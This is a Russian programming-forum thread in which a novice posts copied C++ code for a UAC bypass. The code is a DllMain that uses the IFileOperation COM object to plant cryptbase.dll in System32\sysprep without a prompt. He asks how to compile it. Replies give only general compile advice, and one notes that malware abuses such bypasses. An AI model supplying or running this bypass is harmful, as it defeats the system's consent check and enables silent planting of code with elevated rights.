Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.67/6: Рейтинг темы: голосов - 6, средняя оценка - 4.67
3 / 3 / 1
Регистрация: 22.01.2013
Сообщений: 222

Компилировать или просто поменять расширение файла на *.cpp

31.08.2019, 17:19. Показов 1215. Ответов 6
Метки cpp (Все метки)

Студворк — интернет-сервис помощи студентам
Доброго времени суток ... Я не занимаюсь С++ но столкнулся с вопросом, на который ответа не знаю. И как даже у гугла спросить не понимаю. Дело в том, что :
Нужно залить файл в директорию Windows\system32\
Этот системный файл opencl.dll Все бы нечего. Но операция требует подтверждения через UAC. Мне же нужно сделать этот процесс без подтверждения.
Я долго искал и нашел несколько не стандартных вариантов решения, как мне кажется ... один из которых, насколько я понимаю имеет "вес". Вот его содержание :

Суть метода в том, что для обхода UAC в нашей библиотеке создается COM-объект IFileOperation. Он позволяет скопировать файл куда угодно (в том числе в системную директорию \system32\ и ее пoдкаталоги), автоматически повышая для этого привилегии, так как функция будет иметь флаг auto-elevate.

Вот пример использования объекта IFileOperation для копирования файла в системный каталог.:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>
 
#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")
 
int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
FileOperation  *pfo;
IShellItem      *psiFrom = NULL;
IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";
 
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 {
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 FOF_SILENT |
 FOFX_SHOWELEVATIONPROMPT |
 FOFX_NOCOPYHOOKS |
 FOFX_REQUIREELEVATION |
 FOF_NOERRORUI );
 if (SUCCEEDED(hr))
 {
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 {
 if (NULL != pszDest)
 {
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 {
 psiTo->Release();
 }
 }
 psiFrom->Release();
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->PerformOperations();
 }
 }
 pfo->Release();
 }
 CoUninitialize();
 }
 return 0;
}
И проблема в том, что я не понимаю, что с этим кодом сделать и как, что бы файл opencl.dll копировался (без подтверждения!) в system 32 ... Если конкретно. Я не понимаю. Это может нужно скопировать код в *.txt и позже переименовать расш. в *.cpp или это нужно скомпилировать в билдере С++ ... ??? (((
Мне, как обычному пользователю и, что то там когда то слышавшему о языках программирования, а тем более о С++ - Этого не понять. ( Надеюсь кто то мне подскажет, как решается это уравнение. Спасибо ...
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
31.08.2019, 17:19
Ответы с готовыми решениями:

Как поменять расширение .cs на .cpp?
Всем привет! Подскажите как поменять расширение .cs на .cpp? Заранее спасибо

Поменять расширение файла
Подскажите как макросом поменять расширение любого файла?

Как компилировать файл *.CPP на borland c++ compiler?
как компилировать файл *.CPP на borland c++ compiler

6
3 / 3 / 1
Регистрация: 22.01.2013
Сообщений: 222
01.09.2019, 12:41  [ТС]
И что не кому написать хоть пару строк ??? Я старался изложить мысль не имея образование в сфере программирования и грамотности соответствующей, Но зато я Имею высшее образование и не понимаю, как такое может быть, что бы было 80 просмотров и ни одного ответа на портале программистов. (((
0
15 / 13 / 3
Регистрация: 14.05.2019
Сообщений: 64
01.09.2019, 13:29
Цитата Сообщение от sam6780 Посмотреть сообщение
И что не кому написать хоть пару строк
Допустим я напишу, а что собственно писать и так известно...
Три варианта:
1. Копировать вручную.
2. Купить лицензию у Гейтса.

Добавлено через 45 секунд
Третий не стал афишировать ( с в.о. все-таки )
0
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
01.09.2019, 13:39
Цитата Сообщение от sam6780 Посмотреть сообщение
Я старался изложить мысль не имея образование в сфере программирования и грамотности соответствующей
В начале твоего вопроса очень много информации, вообще не относящейся к делу. Читая начало поста, люди уже не правильно понимали вопрос. А с учётом того, что пост длинный, мало кто дочитал до конца, чтобы увидеть, в чём заключается реальный вопрос

Правильно поставленный вопрос звучит так. Есть исходный текст программы. Что нужно сделать, чтобы его скомпилировать?

Правда сильно подозреваю, что найдётся мало желающих, которые станут объяснять, как это делать, потому что проще отправить тебя читать учебник для 1-го класса. Единственно, нужно будет подсказать, какой конкретно читать учебник: по Visual Studio или по чему-то другому. Я под Windows не программирую, а потому не могу сказать. А для тех, кто занимается, твой вопрос звучит примерно как "дайте мне пошаговую инструкцию, чтобы купить в магазине хлеб"
0
3 / 3 / 1
Регистрация: 22.01.2013
Сообщений: 222
01.09.2019, 17:26  [ТС]
Цитата Сообщение от osnu Посмотреть сообщение
Допустим я напишу, а что собственно писать и так известно...
Три варианта:
1. Копировать вручную.
2. Купить лицензию у Гейтса.
Третий не стал афишировать ( с в.о. все-таки )
Это да. Я понял много. Хотя суть ясна )

Цитата Сообщение от Evg Посмотреть сообщение
В начале твоего вопроса очень много информации, вообще не относящейся к делу. Читая начало поста, люди уже не правильно понимали вопрос. А с учётом того, что пост длинный, мало кто дочитал до конца, чтобы увидеть, в чём заключается реальный вопрос
Правильно поставленный вопрос звучит так. Есть исходный текст программы. Что нужно сделать, чтобы его скомпилировать?
Правда сильно подозреваю, что найдётся мало желающих, которые станут объяснять, как это делать, потому что проще отправить тебя читать учебник для 1-го класса. Единственно, нужно будет подсказать, какой конкретно читать учебник: по Visual Studio или по чему-то другому. Я под Windows не программирую, а потому не могу сказать. А для тех, кто занимается, твой вопрос звучит примерно как "дайте мне пошаговую инструкцию, чтобы купить в магазине хлеб"
_________________

Evg, я тут за хлебом собрался но, как пройти к магазину не знаю куда, ... Не подскажете? )
... Я все понимаю... Доступно объяснили... Норм... Но все таки если взять во внимание мою не далёкость в этих вопросах... то - Ведь я не просто юзер ... Я продвинутый ю. )) Но если серьезно... Я не мало знаю информации из интернета. И поэтому я надеюсь на то, что если вы мне укажете дорогу [Что с этим кодом делать] то я найду путь ... )
0
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
01.09.2019, 18:01
Цитата Сообщение от sam6780 Посмотреть сообщение
И поэтому я надеюсь на то, что если вы мне укажете дорогу [Что с этим кодом делать] то я найду путь ... )
Общее направление - это взять компилятор под Windows и скомпилировать. Конкретику (типа, какой конкретно компилятор, куда там нажать, чтобы скомпилировалось) я попросту не знаю, т.к. не имею опыта работы под виндой. Визуально мне кажется, что этот код под MSVC, но может быть и Borland'овская студия умеет такое компилировать. Найди любую книгу или любое описание того, как под MSVC или Borland Builder скомпилировать консольное приложение (console application или как-то так оно должно называться)
0
Maniac
Эксперт С++
 Аватар для ISergey
1464 / 965 / 160
Регистрация: 02.01.2009
Сообщений: 2,820
Записей в блоге: 1
01.09.2019, 23:04
Цитата Сообщение от sam6780 Посмотреть сообщение
Этот системный файл opencl.dll Все бы нечего. Но операция требует подтверждения через UAC. Мне же нужно сделать этот процесс без подтверждения.
Я долго искал и нашел несколько не стандартных вариантов решения, как мне кажется ... один из которых, насколько я понимаю имеет "вес".
Всякие обходы UAC MS фиксит достаточно быстро, так как малварь этим пользуется.
Здесь UACME куча способов обхода UAC (почти все не рабочие)
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
01.09.2019, 23:04
Помогаю со студенческими работами здесь

Как поменять расширение файла?
Знакомый принёс диск с фильмамы (не знаю где он его нарыл), и пожаловался что его DVD не читает некоторые файлы. Открыл, посмотрел, увидел...

Как поменять расширение файла ?
Как поменять расширение файла ?

Поменять в названии расширение файла
Смысл программы - поменять в названии расширение файла на .TXT . Но когда я создаю динамический массив с вводом то все работает а когда...

Как быстро поменять расширение файла?
Добрый день! Учу HTML в программе блокнот. Чтобы создать html файл меняю расширение с .txt на .html. Меняю так: в сохранить как меняю...

Как компилировать .cpp файл в Microsoft Visual Studio 2010 ?
Как компилировать .cpp файл в Microsoft Visual Studio 2010 ?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
7
Ответ Создать тему
Новые блоги и статьи
http://iceja.net/ сервер решения полиномов
iceja 18.01.2026
Выкатила http:/ / iceja. net/ сервер решения полиномов (находит действительные корни полиномов методом Штурма). На сайте документация по API, но скажу прямо VPS слабенький и 200 000 полиномов. . .
Первый деплой
lagorue 16.01.2026
Не спеша развернул своё 1ое приложение в kubernetes. А дальше мне интересно создать 1фронтэнд приложения и 2 бэкэнд приложения развернуть 2 деплоя в кубере получится 2 сервиса и что-бы они. . .
Расчёт переходных процессов в цепи постоянного тока
igorrr37 16.01.2026
/ * Дана цепь постоянного тока с R, L, C, k(ключ), U, E, J. Программа составляет систему уравнений по 1 и 2 законам Кирхгофа, решает её и находит: токи, напряжения и их 1 и 2 производные при t = 0;. . .
Восстановить юзерскрипты Greasemonkey из бэкапа браузера
damix 15.01.2026
Если восстановить из бэкапа профиль Firefox после переустановки винды, то список юзерскриптов в Greasemonkey будет пустым. Но восстановить их можно так. Для этого понадобится консольная утилита. . .
Изучаю kubernetes
lagorue 13.01.2026
А пригодятся-ли мне знания kubernetes в России?
Сукцессия микоризы: основная теория в виде двух уравнений.
anaschu 11.01.2026
https:/ / rutube. ru/ video/ 7a537f578d808e67a3c6fd818a44a5c4/
WordPad для Windows 11
Jel 10.01.2026
WordPad для Windows 11 — это приложение, которое восстанавливает классический текстовый редактор WordPad в операционной системе Windows 11. После того как Microsoft исключила WordPad из. . .
Classic Notepad for Windows 11
Jel 10.01.2026
Old Classic Notepad for Windows 11 Приложение для Windows 11, позволяющее пользователям вернуть классическую версию текстового редактора «Блокнот» из Windows 10. Программа предоставляет более. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru